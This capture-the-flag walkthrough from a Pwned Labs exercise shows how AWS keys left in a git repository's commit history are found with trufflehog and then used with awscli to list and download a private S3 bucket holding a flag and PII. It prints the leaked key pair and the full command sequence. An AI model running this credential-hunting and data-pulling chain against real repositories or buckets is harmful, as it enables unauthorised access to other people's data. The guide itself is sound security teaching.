Hunt for Secrets in Git Repos

A walkthrough demonstrating the importance of preventing credentials being committed to git repositories.

CTF Source: Pwned Labs

Overview

In this walkthrough, we'll discover a set of AWS access keys (credentials) previously committed to GitHub and later removed. However, since the credentials were never rotated/deleted, they're still usable, and we can find these in previous commit histories. We'll then use these credentials to access sensitive data from an S3 bucket.

Pre-Requisites

This GitHub repository serves as our target. We're going to download it locally and run a secrets scanning tool called trufflehog.

• Download the repo: git clone https://github.com/huge-logistics/cargo-logistics-dev.git

• Install trufflehog: pip install trufflehog

• Install awscli: brew install awscli (mac) apt install awscli (linux)

Walkthrough

Trufflehog is a tool for finding secrets, but other solutions like git-secrets exist. It's good to have a tool bag of useful tools as each will work differently and might discover findings missed by others.

Finding credentials in code

We'll start by scanning the repository with trufflehog.

trufflehog --regex --entropy=False cargo-logistics-dev/

[snip]
~~~~~~~~~~~~~~~~~~~~~
Reason: AWS API Key
Date: 2023-07-05 10:46:16
Hash: ea1a7618508b8b0d4c7362b4044f1c8419a07d99
Filepath: log-s3-test/log-upload.php
Branch: origin/main
Commit: Delete log-s3-test directory
AKIAWHEOTHRFSGQITLIY
~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~
Reason: Generic Secret
Date: 2023-07-05 10:46:16
Hash: ea1a7618508b8b0d4c7362b4044f1c8419a07d99
Filepath: log-s3-test/log-upload.php
Branch: origin/main
Commit: Delete log-s3-test directory
secret' => "IqHCweAXZOi8WJlQrhuQulSuGnUO51HFgy7ZShoB"
~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~
Reason: AWS API Key
[snip]

After running, we found AWS access keys! AKIAWHEOTHRFSGQITLIY:IqHCweAXZOi8WJlQrhuQulSuGnUO51HFgy7ZShoB

We also discovered the filename (log-upload.php) containing these credentials and the commit (Delete log-s3-test directory) it was added from.

Finding an S3 bucket name in code

If we examine that commit and related file in the GitHub repo, we can see this.

Obtaining the Flag from S3

Let's set up our awscli tool with the credentials we found, aws configure. We'll use the region us-east-1 as discovered in the code above but we can also find this in the headers from a curl command:

curl -I https://s3.amazonaws.com/huge-logistics-transact

HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
x-amz-request-id: 0CJ7HZEKMW8Y83QX
x-amz-id-2: U8sH+rTpX5xbD0oiNTPYT1KxC0HZ1Pr2kRxjspOqsdAVplrdeFh3o2tySisRAZvDrxzJTZCD5o0=
Content-Type: application/xml
Date: Tue, 02 Jan 2024 00:31:44 GMT
Server: AmazonS3

Next, we can list the bucket contents like so:

aws s3 ls s3://huge-logistics-transact

2023-07-05 09:53:50         32 flag.txt
2023-07-04 11:15:47          5 transact.log
2023-07-05 09:57:36      51968 web_transactions.csv

Next, we can download the contents of the S3 bucket.

aws s3 cp s3://huge-logistics-transact . --recursive

download: s3://huge-logistics-transact/transact.log to ./transact.log
download: s3://huge-logistics-transact/flag.txt to ./flag.txt     
download: s3://huge-logistics-transact/web_transactions.csv to ./web_transactions.csv

Finally, we can get the Flag contents and find some plaintext PII data!

cat ./flag.txt           
                   
fe108d6a1a0937b0a7620947a678aabf

head -n 5 ./web_transactions.csv 

id,username,email,ip_address
1,aemblen0,[email protected],196.54.202.51
2,jpiff1,[email protected],59.222.23.53
3,aharbour2,[email protected],178.60.232.230
4,clomis3,[email protected],165.58.39.76

Wrap-up

As was demonstrated, hard-coded credentials in code are never a good thing. Despite the credentials getting removed from the file, they still existed in the git commit history. Since these credentials were never rotated/deleted, it led to a compromise of PII data stored in an S3 bucket.

Several scanners are checking GitHub and others regularly for credentials. While Amazon and other "good" vendors or users might alert you after discovering your leaked credentials, plenty of users with malicious intent are harvesting your credentials.

It's important to scan your code with tools like git-secrets before committing. Git-secrets in particular will hook into commits and ultimately prevent the commit from occuring if credentials are discovered.

Amazon provides guidance on what to do when AWS credentials get exposed.